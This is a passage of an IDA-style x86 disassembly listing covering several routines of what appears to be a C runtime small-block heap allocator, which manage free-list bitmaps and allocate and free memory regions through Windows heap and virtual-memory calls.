		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_418E6A:				; CODE XREF: sub_418CE8+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_418E72
; ---------------------------------------------------------------------------


loc_418E6F:				; CODE XREF: sub_418CE8+EDj
		mov	ebx, [ebp+arg_0]


loc_418E72:				; CODE XREF: sub_418CE8+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_418E80
		cmp	ebx, edx
		jz	loc_418F01


loc_418E80:				; CODE XREF: sub_418CE8+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_418F01
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_418ED8
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418EC7
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_418EC7:				; CODE XREF: sub_418CE8+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_418F01
; ---------------------------------------------------------------------------


loc_418ED8:				; CODE XREF: sub_418CE8+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418EEE
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_418EEE:				; CODE XREF: sub_418CE8+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_418F01:				; CODE XREF: sub_418CE8+192j
					; sub_418CE8+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41900C
		mov	eax, dword_46CC94
		test	eax, eax
		jz	loc_418FFE
		mov	ecx, dword_46CC8C
		mov	esi, dword_42117C
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_46CC8C
		mov	eax, dword_46CC94
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_46CC94
		mov	ecx, dword_46CC8C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_46CC94
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_46CC94
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_418F8F
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_46CC94


loc_418F8F:				; CODE XREF: sub_418CE8+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_418FFE
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_46CC94
		push	dword ptr [eax+10h]
		push	0
		push	dword_46CCA4
		call	dword_421150	; RtlFreeHeap
		mov	eax, dword_46CC98
		mov	edx, dword_46CC9C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_46CC94
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_416320
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_46CC98
		cmp	eax, dword_46CC94
		jbe	short loc_418FF4
		sub	[ebp+arg_0], 14h


loc_418FF4:				; CODE XREF: sub_418CE8+306j
		mov	eax, dword_46CC9C
		mov	dword_46CC90, eax


loc_418FFE:				; CODE XREF: sub_418CE8+234j
					; sub_418CE8+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_46CC8C, edi
		mov	dword_46CC94, eax


loc_41900C:				; CODE XREF: sub_418CE8+38j
					; sub_418CE8+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418CE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419011	proc near		; CODE XREF: sub_415C27+18p
					; sub_41737F+77p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_46CC98
		mov	edx, dword_46CC9C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_419051
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_419061
; ---------------------------------------------------------------------------


loc_419051:				; CODE XREF: sub_419011+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_419061:				; CODE XREF: sub_419011+3Ej
		mov	eax, dword_46CC90
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_419088


loc_41906F:				; CODE XREF: sub_419011+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_419088
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41906F


loc_419088:				; CODE XREF: sub_419011+5Cj
					; sub_419011+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_419106
		mov	ebx, edx


loc_41908F:				; CODE XREF: sub_419011+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_4190AB
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4190A9
		add	ebx, 14h
		jmp	short loc_41908F
; ---------------------------------------------------------------------------


loc_4190A9:				; CODE XREF: sub_419011+91j
		cmp	ebx, eax


loc_4190AB:				; CODE XREF: sub_419011+83j
		jnz	short loc_419106


loc_4190AD:				; CODE XREF: sub_419011+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_4190C3
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4190C0
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_4190AD
; ---------------------------------------------------------------------------


loc_4190C0:				; CODE XREF: sub_419011+A5j
		cmp	ebx, [ebp+var_4]


loc_4190C3:				; CODE XREF: sub_419011+9Fj
		jnz	short loc_4190EB
		mov	ebx, edx


loc_4190C7:				; CODE XREF: sub_419011+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_4190DB
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4190D9
		add	ebx, 14h
		jmp	short loc_4190C7
; ---------------------------------------------------------------------------


loc_4190D9:				; CODE XREF: sub_419011+C1j
		cmp	ebx, eax


loc_4190DB:				; CODE XREF: sub_419011+BBj
		jnz	short loc_4190EB
		call	sub_41931A
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_4190FF


loc_4190EB:				; CODE XREF: sub_419011:loc_4190C3j
					; sub_419011:loc_4190DBj
		push	ebx
		call	sub_4193CB
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_419106


loc_4190FF:				; CODE XREF: sub_419011+D8j
		xor	eax, eax
		jmp	loc_419315
; ---------------------------------------------------------------------------


loc_419106:				; CODE XREF: sub_419011+7Aj
					; sub_419011:loc_4190ABj ...
		mov	dword_46CC90, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41912D
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_419164


loc_41912D:				; CODE XREF: sub_419011+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_419161


loc_41914A:				; CODE XREF: sub_419011+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41914A


loc_419161:				; CODE XREF: sub_419011+137j
		mov	edx, [ebp+var_4]


loc_419164:				; CODE XREF: sub_419011+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41918D
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41918D:				; CODE XREF: sub_419011+16Dj
					; sub_419011+183j
		test	ecx, ecx
		jl	short loc_419196
		shl	ecx, 1
		inc	edi
		jmp	short loc_41918D
; ---------------------------------------------------------------------------


loc_419196:				; CODE XREF: sub_419011+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_4191B3
		push	3Fh
		pop	esi


loc_4191B3:				; CODE XREF: sub_419011+19Dj
		cmp	esi, edi
		jz	loc_4192C8
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419224
		cmp	edi, 20h
		jge	short loc_4191F3
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_419221
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_419224
; ---------------------------------------------------------------------------


loc_4191F3:				; CODE XREF: sub_419011+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_419221
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_419224
; ---------------------------------------------------------------------------


loc_419221:				; CODE XREF: sub_419011+1D6j
					; sub_419011+203j
		mov	ebx, [ebp+arg_0]


loc_419224:				; CODE XREF: sub_419011+1B0j
					; sub_419011+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_4192D4
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4192C5
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_419296
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_419284
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_419284:				; CODE XREF: sub_419011+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_4192C5
; ---------------------------------------------------------------------------


loc_419296:				; CODE XREF: sub_419011+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4192AF
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_4192AF:				; CODE XREF: sub_419011+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_4192C5:				; CODE XREF: sub_419011+24Ej
					; sub_419011+283j
		mov	ecx, [ebp+var_8]


loc_4192C8:				; CODE XREF: sub_419011+1A4j
		test	ecx, ecx
		jz	short loc_4192D7
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_4192D7
; ---------------------------------------------------------------------------


loc_4192D4:				; CODE XREF: sub_419011+229j
		mov	ecx, [ebp+var_8]


loc_4192D7:				; CODE XREF: sub_419011+2B9j
					; sub_419011+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41930D
		cmp	ebx, dword_46CC94
		jnz	short loc_41930D
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_46CC8C
		jnz	short loc_41930D
		and	dword_46CC94, 0


loc_41930D:				; CODE XREF: sub_419011+2E0j
					; sub_419011+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_419315:				; CODE XREF: sub_419011+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419011	endp


; =============== S U B	R O U T	I N E =======================================



sub_41931A	proc near		; CODE XREF: sub_419011+CCp
		mov	eax, dword_46CC98
		mov	ecx, dword_46CC88
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41935D
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_46CC9C
		push	edi
		push	dword_46CCA4
		call	dword_421160	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_4193AD
		add	dword_46CC88, 10h
		mov	dword_46CC9C, eax
		mov	eax, dword_46CC98


loc_41935D:				; CODE XREF: sub_41931A+11j
		mov	ecx, dword_46CC9C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_46CCA4
		lea	esi, [ecx+eax*4]
		call	dword_42114C	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_4193AD
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_421180	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4193B1
		push	dword ptr [esi+10h]
		push	edi
		push	dword_46CCA4
		call	dword_421150	; RtlFreeHeap


loc_4193AD:				; CODE XREF: sub_41931A+30j
					; sub_41931A+67j
		xor	eax, eax
		jmp	short loc_4193C8
; ---------------------------------------------------------------------------


loc_4193B1:				; CODE XREF: sub_41931A+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_46CC98
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_4193C8:				; CODE XREF: sub_41931A+95j
		pop	edi
		pop	esi
		retn
sub_41931A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193CB	proc near		; CODE XREF: sub_419011+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_4193DD:				; CODE XREF: sub_4193CB+19j
		test	eax, eax
		jl	short loc_4193E6
		shl	eax, 1
		inc	ebx
		jmp	short loc_4193DD
; ---------------------------------------------------------------------------


loc_4193E6:				; CODE XREF: sub_4193CB+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_4193FB:				; CODE XREF: sub_4193CB+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_4193FB
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_421180	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41942E
		or	eax, 0FFFFFFFFh
		jmp	loc_4194C1
; ---------------------------------------------------------------------------


loc_41942E:				; CODE XREF: sub_4193CB+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_419474
		lea	eax, [edi+10h]


loc_41943B:				; CODE XREF: sub_4193CB+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41943B


loc_419474:				; CODE XREF: sub_4193CB+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_4194B1
		or	[eax+4], edi


loc_4194B1:				; CODE XREF: sub_4193CB+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_4194C1:				; CODE XREF: sub_4193CB+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4193CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4194C6	proc near		; CODE XREF: sub_41737F+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_419674
		test	bl, 1
		jnz	loc_41966D
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41966D
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41953D
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41953D:				; CODE XREF: sub_4194C6+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41958D
		cmp	ecx, 20h
		jnb	short loc_419569
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41958D
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41958D
; ---------------------------------------------------------------------------


loc_419569:				; CODE XREF: sub_4194C6+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41958D
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41958D:				; CODE XREF: sub_4194C6+7Dj
					; sub_4194C6+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41965B
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_4195C7
		push	3Fh
		pop	edi


loc_4195C7:				; CODE XREF: sub_4194C6+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_419649
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_419620
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419613
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_419613:				; CODE XREF: sub_4194C6+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_419645
; ---------------------------------------------------------------------------


loc_419620:				; CODE XREF: sub_4194C6+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419636
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_419636:				; CODE XREF: sub_4194C6+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_419645:				; CODE XREF: sub_4194C6+158j
		shr	edx, cl
		or	[eax], edx


loc_419649:				; CODE XREF: sub_4194C6+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41965E
; ---------------------------------------------------------------------------


loc_41965B:				; CODE XREF: sub_4194C6+E5j
		mov	edx, [ebp+arg_4]


loc_41965E:				; CODE XREF: sub_4194C6+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_4197B4
; ---------------------------------------------------------------------------


loc_41966D:				; CODE XREF: sub_4194C6+52j
					; sub_4194C6+5Cj
		xor	eax, eax
		jmp	loc_4197B7
; ---------------------------------------------------------------------------


loc_419674:				; CODE XREF: sub_4194C6+49j
		jge	loc_4197B4
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41969F
		push	3Fh
		pop	esi


loc_41969F:				; CODE XREF: sub_4194C6+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41972E
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4196B8
		push	3Fh
		pop	esi


loc_4196B8:				; CODE XREF: sub_4194C6+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_419707
		cmp	esi, 20h
		jnb	short loc_4196E3
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_419704
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_419704
; ---------------------------------------------------------------------------


loc_4196E3:				; CODE XREF: sub_4194C6+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_419704
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_419704:				; CODE XREF: sub_4194C6+214j
					; sub_4194C6+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_419707:				; CODE XREF: sub_4194C6+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41972E
		push	3Fh
		pop	esi


loc_41972E:				; CODE XREF: sub_4194C6+1DDj
					; sub_4194C6+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4197AB
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_419782
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_419775
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_419775:				; CODE XREF: sub_4194C6+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_4197A7
; ---------------------------------------------------------------------------


loc_419782:				; CODE XREF: sub_4194C6+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_419798
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_419798:				; CODE XREF: sub_4194C6+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_4197A7:				; CODE XREF: sub_4194C6+2BAj
		shr	edx, cl
		or	[eax], edx


loc_4197AB:				; CODE XREF: sub_4194C6+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_4197B4:				; CODE XREF: sub_4194C6+1A2j
					; sub_4194C6:loc_419674j
		push	1
		pop	eax


loc_4197B7:				; CODE XREF: sub_4194C6+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4194C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197BC	proc near		; CODE XREF: sub_418C18+41p
					; sub_419AB4:loc_419C83p
		cmp	dword_438150, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_4197D0
		mov	esi, offset off_438140
		jmp	short loc_4197ED
; ---------------------------------------------------------------------------


loc_4197D0:				; CODE XREF: sub_4197BC+Bj
		push	2020h
		push	0
		push	dword_46CCA4
		call	dword_42114C	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_4198F9


loc_4197ED:				; CODE XREF: sub_4197BC+12j
		mov	ebp, dword_421180
		push	4
		push	2000h
		push	offset __ImageBase
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_4198E2
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_4198D4
		mov	eax, offset off_438140
		cmp	esi, eax
